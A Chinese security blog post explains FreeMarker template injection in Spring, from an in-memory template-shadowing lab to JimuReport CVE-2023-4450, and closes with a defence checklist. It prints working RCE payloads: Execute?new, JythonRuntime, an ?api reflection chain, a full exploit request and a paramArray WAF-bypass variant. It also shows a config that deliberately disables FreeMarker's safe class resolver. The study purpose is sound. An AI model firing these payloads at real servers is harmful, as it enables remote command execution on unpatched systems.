Skip to content
Kurisu
Go back

Java FreeMarker 模板注入:从内存模板遮蔽到积木报表 CVE-2023-4450

之前写过一篇通用 SSTI,主要集中在 Python/Jinja2。这次课程把 Java 侧的 FreeMarker 讲透了:从 Spring MVC 视图解析原理,到内存模板”遮蔽”攻击,再到真实组件积木报表的 CVE-2023-4450。我把复现过程和踩的坑整理成这篇。

配合课程的还有两个现成材料:一个 Spring Boot 2.7.18 + FreeMarker 2.3.32 的教学靶场,以及把靶场 payload 直接映射到真实 CVE 的分析笔记。本文按”原理 → 靶场复现 → 真实 CVE → 防御”的顺序展开。

0x01 前置:Controller return 的不是内容,是”视图名”

这是理解 Java SSTI 的第一道坎。对比两种写法:

@RestController   // 返回值直接写进响应体
public class SafeController {
    @PostMapping("/hello")
    public String hello() { return "hello"; }   // 页面显示字符串 "hello"
}

@Controller       // 返回值被当作"逻辑视图名"
public class VulnController {
    @PostMapping("/hello")
    public String hello() { return "hello"; }   // 触发模板渲染!
}

@Controller 时,return "hello" 会交给 FreeMarkerViewResolver 解析:prefix + 视图名 + suffix = "" + "hello" + ".ftl",然后引擎调 Configuration.getTemplate("hello.ftl") 找到磁盘模板渲染。

整条链路是:

DispatcherServlet → Controller 返回 "hello"
  → ViewResolver 链 → FreeMarkerViewResolver 命中
  → 拼出 "hello.ftl" → 引擎按 TemplateLoader 加载链查找模板
  → Template.process() 渲染 → HTML 写回

漏洞的本质就藏在最后一环:引擎按”加载链”找模板,而加载链的顺序是可编程的。

0x02 靶场设计:注入点与触发点分离

课程靶场故意做了两个接口:

@PostMapping("/template")
public String template(@RequestBody Map<String, String> templates) throws IOException {
    Configuration con = freeMarkerConfig.getConfiguration();

    StringTemplateLoader stringLoader = new StringTemplateLoader();
    for (String key : templates.keySet()) {
        stringLoader.putTemplate(key, templates.get(key));  // 名字+内容全由用户控制
    }
    con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{
            stringLoader,            // index 0: 内存(攻击者)—— 优先命中
            con.getTemplateLoader()  // index 1: 磁盘(正常)  —— 轮不到
    }));
    con.clearTemplateCache();        // 清缓存,让下次查找重新走加载链
    return "index";
}

”覆盖”其实是”遮蔽”(Shadowing)

磁盘上的 hello.ftl 一个字都没被改。MultiTemplateLoader 查模板时按数组顺序挨个问子加载器,谁先说”有”就返回谁——内存那份排在 index 0,先命中,磁盘那份被同名压制,根本轮不到。

状态POST /hello 渲染结果
未攻击磁盘 hello.ftl → 正常 Hello, Alice !
已注册同名内存模板内存恶意模板 → 命令执行

两个验证实验把这一点坐实:

  1. 攻击后去看 src/main/resources/templates/hello.ftl,内容原封不动;
  2. 重启应用,内存加载器随 JVM 消失,/hello 恢复正常——攻击无持久痕迹

0x03 新版 FreeMarker 为什么打不响:?new 与 ClassResolver

课程复刻的 payload 是经典的:

{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}

但直接打 2.3.32 会失败,因为 FreeMarker 2.3.23+ 用 TemplateClassResolver 控制 ?new 能实例化哪些类:

策略行为
UNRESTRICTED_RESOLVER任何类都能 ?new(不设防)
SAFER_RESOLVER2.3.23+ 默认,禁止 Execute / ObjectConstructor / JythonRuntime
ALLOWS_NOTHING_RESOLVER几乎全禁

老文章写于限制出现之前,POC 一发即中;新版本默认 SAFER_RESOLVER 直接拒绝。靶场为了教学,在配置类里把开关拨了回去(反面教材):

configurer.getConfiguration()
          .setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);
// 同时开了 ?api:configurer.getConfiguration().setAPIBuiltinEnabled(true);

真实环境里这两个开关默认都是关的——这也直接给出了防御答案(见 0x06)。

0x04 三条利用面

① ?new 实例化危险类(最省事)

{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}

?new 对类做了三件事:Class.forName(…, true, …) 触发类初始化 → TemplateModel 检测 → 无参构造实例。绑给 ex${ex("cmd")} 就是 Execute.exec()Runtime.getRuntime().exec(),命令输出直接插值进页面,自带回显

同族可用类还有 freemarker.template.utility.ObjectConstructor(任意类的构造器)、freemarker.template.utility.JythonRuntime(引入 jython-standalone 依赖时可直接跑 Python)。

② Jython 跑内嵌 Python

靶场 pom 里引入了 org.python:jython-standalone,于是:

{"hello.ftl": "<#assign jr=\"freemarker.template.utility.JythonRuntime\"?new()><@jr>import os; os.system(\"whoami\")</@jr>"}

JythonRuntime 是个 TemplateModel,用 <@jr> 宏语法把标签体当 Python 源码执行。

③ ?api 反射链(进阶,排错最多)

?api 内建能拿到 Java 对象的 Class,从而绕开模板层对反射的限制。前提是 setAPIBuiltinEnabled(true)(2.3.22+ 默认 false),且 Model 里得有 Bean 起点——靶场的 /hello 特意把 req(RequestFacade)塞进了 Model。

先跑最简探针确认前提:

{"hello.ftl": "req?api.class: ${req?api.class.name!\"失败\"}"}

能打出 org.apache.catalina.connector.RequestFacade 就说明通了。完整利用链用 classLoader 路线(不依赖在 Class 实例上直接调静态方法,兼容性好):

{"hello.ftl": "<#assign cl=req?api.class><#assign loader=cl.getClassLoader()><#assign rt=loader.loadClass(\"java.lang.Runtime\")><#assign m=rt.getMethod(\"getRuntime\")><#assign r=m.invoke(null)><#assign p=r.exec(\"whoami\")><#assign is=p.getInputStream()><#assign buf=\"\"><#assign b=is.read()><#while b!=-1><#assign buf=buf+b?c><#assign b=is.read()></#while>${buf}"}

三个排错要点,都是我实际踩过的:

0x05 落到真实 CVE:积木报表 JimuReport CVE-2023-4450

靶场学的 payload 在这个 CVE 里一字不差,变的只是”用户输入从哪个口子进引擎”。

为什么一个”查库接口”会跑 FreeMarker

这是理解这个洞最关键的一句话:积木报表的”动态 SQL”本来就设计成 FreeMarker 模板——报表作者写的 SQL 里 ${dept}<#if> 都是 FTL 语法,应用在查库前会先把这段文本交给 FreeMarker 渲染成真 SQL

设计者写"SQL"(实际是 FTL 模板文本)
  → FreeMarker 渲染:替换 ${dept} / 处理 <#if>  → 得到真 SQL
  → JDBC 用真 SQL 查库

POST /jmreport/queryFieldBySql(报表设计器”返回字段列表”的接口,常未授权可达)复用了同一条管线。于是用户提交的 sql 字段 = 模板源码。

Payload

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Content-Type: application/json

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'"}

外层 select 'result:…' 是纯 SQL 外壳:渲染产物作为一行查询结果返回,自带回显。这也解释了它为什么容易被误认为 SQL 注入——但黑名单按 SQLi 特征拦不全,因为你传的是 FreeMarker 语法。官方定性就是 SSTI,CVSS 9.8,修复版本 jimureport-spring-boot-starter ≥ 1.6.1(2023-08-15)。

paramArray 二次渲染绕 WAF

如果 sql 字段被正则盯上了,还有条备用通道:SQL 里只写 ${x} 占位,把恶意 FTL 放进 paramArray 参数值——渲染时参数值被插值进模板,又触发一次渲染

{"sql":"select '${x}'","type":"0",
 "paramArray":"[{\"paramName\":\"x\",\"paramValue\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\"}]"}

两个识别要点,我把它总结成问自己的一个问题:这段用户输入在到达”它该去的地方”之前,会不会先经过某个模板引擎? 会,就按 SSTI 测。另外这套组件同族接口(loadTableDatadictCodeSearch)历史上另有 SQL 注入面——“模板注入 + SQL 注入”叠着修,只堵一边不够。

JDK 17+ 的坑

命令执行在 JDK 17 仍可行,但打内存马/字节码注入会失败:反射 ClassLoader.defineClass 触发模块系统限制 InaccessibleObjectException。公开研究用 ObjectConstructor 实例化 Spring 的 SpelExpressionParser 走 SpEL 等替代链。

0x06 防御清单

  1. 治本:绝不允许用户可控文本被注册成模板(StringTemplateLoader + 用户内容 = 事故)或经过任何模板引擎渲染;视图名来自固定枚举;
  2. 治标newBuiltinClassResolver 保持 SAFER_RESOLVER 或收紧到 ALLOWS_NOTHING_RESOLVERapi_builtin_enabled 保持默认 false;
  3. 组件:JimuReport ≥ 1.6.1,接口加鉴权不暴露公网;
  4. 写文档时的坑:在 .ftl 里展示 FTL 示例代码必须用 <#noparse>…</#noparse> 包住,否则页面直接 500 ParseException——靶场首页修复时就踩了这个。

参考


Share this post:

Previous Post
MSF 与 Cobalt Strike 实操笔记:从框架结构到团队服务部署
Next Post
SQL 注入没死:pgx 协议层消息溢出走私查询(CVE-2024-27304)